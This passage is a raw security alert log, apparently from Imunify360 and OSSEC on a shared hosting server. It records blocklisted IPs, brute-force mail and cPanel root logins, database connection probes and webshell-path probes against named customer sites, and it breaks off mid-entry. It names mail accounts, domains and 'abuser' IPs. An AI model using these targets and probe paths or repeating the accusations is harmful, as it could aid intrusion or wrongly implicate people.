Jan 12 20:38:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.236.172.244 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.50
country_id: 690791
description:
2026-01-12 20:38:56 H=([45.144.212.50]) [45.144.212.50]:63269 F=<opskhulna@atlas-bd.com> rejected RCPT <celine@ktlog.com.my>: SPF: 45.144.212.50 is not allowed to send mail from atlas-bd.com


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.161
country_id: 3865483
description:
Jan 12 20:39:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.161 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.33.173
country_id: 798544
description:
Jan 12 20:42:00 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.33.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 131.221.148.56
country_id: 3469034
description:
Jan 12 20:42:23 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 131.221.148.56 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.64.45.219
country_id: 953987
description:
Jan 12 20:42:32 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.64.45.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.34.243
country_id: 6290252
description:
Jan 12 20:42:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.34.243 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.250.62
country_id: 3865483
description:
Jan 12 20:44:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.250.62 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.149.170
country_id: 99237
description:
Jan 12 20:44:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.149.170 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.207.35.210
country_id: 6290252
description:
Jan 12 20:45:39 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.207.35.210 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 20:47:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58312: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77350207
name: IM360 WAF: WordPress plugins/themes version enumeration
abuser: 34.148.104.49
country_id: 6252001
domain: mamstg.manforce.net
description:
IM360 WAF: WordPress plugins/themes version enumeration||RSV:7.62||T:APACHE||REQUEST_URI:/cgi-sys/ea-php74/index.php/wp-includes/wlwmanifest.xml||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 20:47:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58313: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.137.160
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/malaysia-infinity-design-projects/img/photos/csr.php||SC:/home/indfinitydesign/public_html/malaysia-infinity-design-projects||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.204.195
country_id: 3469034
description:
Jan 12 20:48:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.204.195 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.103
country_id: 3469034
description:
Jan 12 20:49:08 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.189.201.103
country_id: 3469034
description:
Jan 12 20:49:28 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.189.201.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.122.128.227
country_id: 3865483
description:
Jan 12 20:49:47 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.122.128.227 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.63.117.135
country_id: 1733045
description:
2026-01-12 20:50:33 H=([182.63.117.135]) [182.63.117.135]:32871 F=<2096logoutfasya@pftfood.com> rejected RCPT <2096logoutfasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 91.228.32.91
country_id: 798544
description:
Jan 12 20:50:45 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 91.228.32.91 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.27.95
country_id: 798544
description:
Jan 12 20:51:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.27.95 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.63.117.135
country_id: 1733045
description:
2026-01-12 20:51:28 H=([182.63.117.135]) [182.63.117.135]:31593 F=<2096logoutfasya@pftfood.com> rejected RCPT <2096logoutfasya@pftfood.com>: smtp auth required


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.86.60.250
country_id: 3469034
description:
Jan 12 20:52:19 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.86.60.250 has been locked due to Imunify RBL


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 182.63.117.135
country_id: 1733045
description:
2026-01-12 20:52:49 H=([182.63.117.135]) [182.63.117.135]:48459 F=<2096logoutfasya@pftfood.com> rejected RCPT <2096logoutfasya@pftfood.com>: smtp auth required


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 201.93.126.145
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/soup/25/495098 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.34
country_id: 3865483
description:
Jan 12 20:53:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.34 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.74.243.17
country_id: 2510769
description:
Jan 12 20:53:54 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.74.243.17 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 177.34.188.54
country_id: 3469034
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hot/14/601/1479460 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/img/photos/contact.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.30
country_id: 3175395
description:
Jan 12 21:00:04 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.30 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.197.9.38
country_id: 3175395
description:
Jan 12 20:59:43 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.197.9.38 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 217.75.222.191
country_id: 3077311
description:
Jan 12 20:59:24 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 217.75.222.191 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 109.206.98.121
country_id: 6290252
description:
Jan 12 21:00:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 109.206.98.121 has been locked due to Imunify RBL


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.155.44
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/index.php/images/about.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.15.169.30
country_id: 3175395
description:
Jan 12 21:00:12 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.15.169.30 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 185.97.94.121
country_id: 272103
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/low/554/435193 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 185.207.98.192
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-03.185.207.98.192||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.134.212
country_id: 1880251
domain: indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.62||T:APACHE||MV:/img/photos/private-residence.php||SC:/home/indfinitydesign/public_html/img/photos/private-residence.php||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 187.120.106.133
country_id: 3469034
description:
Jan 12 21:05:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 187.120.106.133 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.103
country_id: 3865483
description:
Jan 12 21:06:13 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.103 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.13.4.128
country_id: 1668284
description:
Jan 12 21:08:22 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.13.4.128 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 101.13.4.128
country_id: 1668284
description:
2026-01-12 21:08:24 dovecot_login authenticator failed for H=([101.13.4.128]) [101.13.4.128]:45434: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 45.144.212.242
country_id: 690791
description:
2026-01-12 21:09:28 H=([45.144.212.242]) [45.144.212.242]:63210 F=<lynnied@mhtc.net> rejected RCPT <sales@wohcheong.com.my>: Unrouteable address


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 178.216.28.142
country_id: 798544
description:
Jan 12 21:09:29 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 178.216.28.142 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 92.55.226.48
country_id: 798544
description:
Jan 12 21:10:16 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 92.55.226.48 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 2.55.88.51
country_id: 294640
description:
Jan 12 21:10:53 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 2.55.88.51 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 2.55.88.51
country_id: 294640
description:
2026-01-12 21:10:55 dovecot_login authenticator failed for H=(2-55-88-51.orange.net.il) [2.55.88.51]:32942: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.200.64.141
country_id: 3469034
description:
Jan 12 21:11:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.200.64.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.195
country_id: 3865483
description:
Jan 12 21:14:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.195 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 21:15:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58332: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.207.5.196
country_id: 1269750
description:
Jan 12 21:15:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.207.5.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 21:15:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58333: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 170.239.180.126
country_id: 3865483
domain: www.fkr.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.fkr.com.my/images/motor-tyre01.jpg HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 156.239.207.104
country_id: 6252001
description:
[2026-01-12 21:18:35 +0800] info [whostmgrd] 156.239.207.104 - root "GET /login/?login_only=1&user=root&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN whostmgrd: user password incorrect


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 103.145.74.239
country_id: 1210997
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=449403 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 46.185.156.206
country_id: 248816
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/doctrine/common/humbug.json.dist HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 46.44.24.40
country_id: 2017370
description:
Jan 12 21:20:59 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 46.44.24.40 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.44.24.40
country_id: 2017370
description:
2026-01-12 21:21:01 dovecot_plain authenticator failed for H=(cetra) [46.44.24.40]:50806: 535 Incorrect authentication data (set_id=info@tujusetia.my)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 45.3.34.81
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-22.45.3.34.81||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.208.104.128
country_id: 3175395
description:
Jan 12 21:23:35 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.208.104.128 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.219
country_id: 3865483
description:
Jan 12 21:23:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.219 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.137.173
country_id: 99237
description:
Jan 12 21:23:57 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.137.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 65.20.137.173
country_id: 99237
description:
Jan 12 21:24:10 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 65.20.137.173 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.251.219
country_id: 3865483
description:
Jan 12 21:24:11 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.251.219 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 87.76.240.180
country_id: 690791
domain: appointment.visoft.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/appointment.visoft.com.my/vendor/phpoffice/phpexcel/Examples/07readerPCLZip.php HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.238.237.254
country_id: 1835841
description:
Jan 12 21:26:14 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.238.237.254 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.238.237.254
country_id: 1835841
description:
2026-01-12 21:26:16 dovecot_login authenticator failed for H=([211.238.237.254]) [211.238.237.254]:54117: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.71.143
country_id: 3469034
description:
Jan 12 21:26:27 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.71.143 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.139.6.19
country_id: 2300660
description:
Jan 12 21:26:51 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.139.6.19 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.202
country_id: 3469034
description:
Jan 12 21:33:01 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.44.96.202
country_id: 3469034
description:
Jan 12 21:33:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.44.96.202 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.96.192.41
country_id: 3865483
description:
Jan 12 21:33:25 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.96.192.41 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 207.248.113.75
country_id: 3996063
description:
Jan 12 21:34:50 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 207.248.113.75 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 21:35:48 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.42
country_id: 3865483
description:
Jan 12 21:37:06 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.42 has been locked due to Imunify RBL


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 54.174.58.236
country_id: 6252001
domain: manforce.net
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/143.0.0.0 Safari/537.36||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77316736
name: IM360 WAF: Request body parsing error
abuser: 31.172.87.148
country_id: 2921044
domain: www.manforce.net
description:
IM360 WAF: Request body parsing error||err_msg:XML parser error: XML: Failed to parse document.||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 179.0.252.42
country_id: 3865483
description:
Jan 12 21:37:15 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 179.0.252.42 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 31.179.228.119
country_id: 798544
description:
Jan 12 21:37:34 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 31.179.228.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.246.170.194
country_id: 1269750
description:
Jan 12 21:37:37 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.246.170.194 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 102.66.3.187
country_id: 953987
description:
Jan 12 21:37:44 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 102.66.3.187 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 213.209.159.15
country_id: 1668284
description:
Jan 12 21:40:20 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 213.209.159.15 has been locked due to Imunify RBL


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 64.137.251.204
country_id: 102358
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/hole/13/362/1336475 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 104.248.180.227
country_id: 6252001
description:
2026-01-12 21:41:23 2476057 [Warning] Aborted connection 2476057 to db: 'unconnected' user: 'unauthenticated' host: '104.248.180.227' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 104.248.180.227
country_id: 6252001
description:
2026-01-12 21:41:25 2476066 [Warning] Aborted connection 2476066 to db: 'unconnected' user: 'unauthenticated' host: '104.248.180.227' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 21:43:02 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58355: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.132.248.149
country_id: 1733045
description:
2026-01-12 21:43:14 dovecot_plain authenticator failed for H=([IPv6:::ffff:192.168.0.126]) [115.132.248.149]:58356: 535 Incorrect authentication data (set_id=info@aire-fresh.com)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.237.31.176
country_id: 3932488
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-detail.php?id=342496 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 104.248.180.227
country_id: 6252001
description:
2026-01-12 21:46:28 2476328 [Warning] Aborted connection 2476328 to db: 'unconnected' user: 'unauthenticated' host: '104.248.180.227' (This connection closed normally without authentication)


plugin: ossec
rule: 50146
name: Multiple aborted logins to database.
abuser: 104.248.180.227
country_id: 6252001
description:
2026-01-12 21:46:30 2476336 [Warning] Aborted connection 2476336 to db: 'unconnected' user: 'unauthenticated' host: '104.248.180.227' (This connection closed normally without authentication)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 190.112.185.6
country_id: 3865483
domain: dsc-expat.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/dsc-expat.com/warm/691/86183 HTTP/1.1||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 37.203.48.61
country_id: 2963597
description:
Jan 12 21:48:38 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 37.203.48.61 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 45.177.200.228
country_id: 3865483
description:
Jan 12 21:48:49 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 45.177.200.228 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.28.53.18
country_id: 690791
description:
Jan 12 21:48:56 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.28.53.18 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 128.127.94.174
country_id: 798544
description:
Jan 12 21:48:07 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 128.127.94.174 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 185.229.98.78
country_id: 2510769
description:
Jan 12 21:48:27 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 185.229.98.78 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 194.28.53.18
country_id: 690791
description:
Jan 12 21:49:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 194.28.53.18 has been locked due to Imunify RBL


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 216.180.110.35
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:21-49.216.180.110.35||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77350582
name: IM360 WAF: Bytedancewebview detected
abuser: 27.125.245.229
country_id: 1733045
domain: aoto.com.my
description:
IM360 WAF: Bytedancewebview detected||UA:Mozilla/5.0 (iPhone; CPU iPhone OS 26_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Safari/604.1 trill_41.9.0 BytedanceWebview/d8a21c6||RSV:7.62||T:APACHE||


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.228.77.20
country_id: 1835841
description:
Jan 12 21:57:09 sv3 auth[1491853]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.228.77.20 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.228.77.20
country_id: 1835841
description:
2026-01-12 21:57:11 dovecot_login authenticator failed for H=([211.228.77.20]) [211.228.77.20]:50601: 535 Incorrect authentication data (set_id=william.goh@manforce.net)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 104.164.131.173
country_id: 6252001
domain: agsaintifik.com.my
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r33309r77140835r77140736||MV:22-01.104.164.131.173||RSV:7.62||T:APACHE||


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.144.7
country_id: 1880251
domain: www.sutsb.com.my
description:
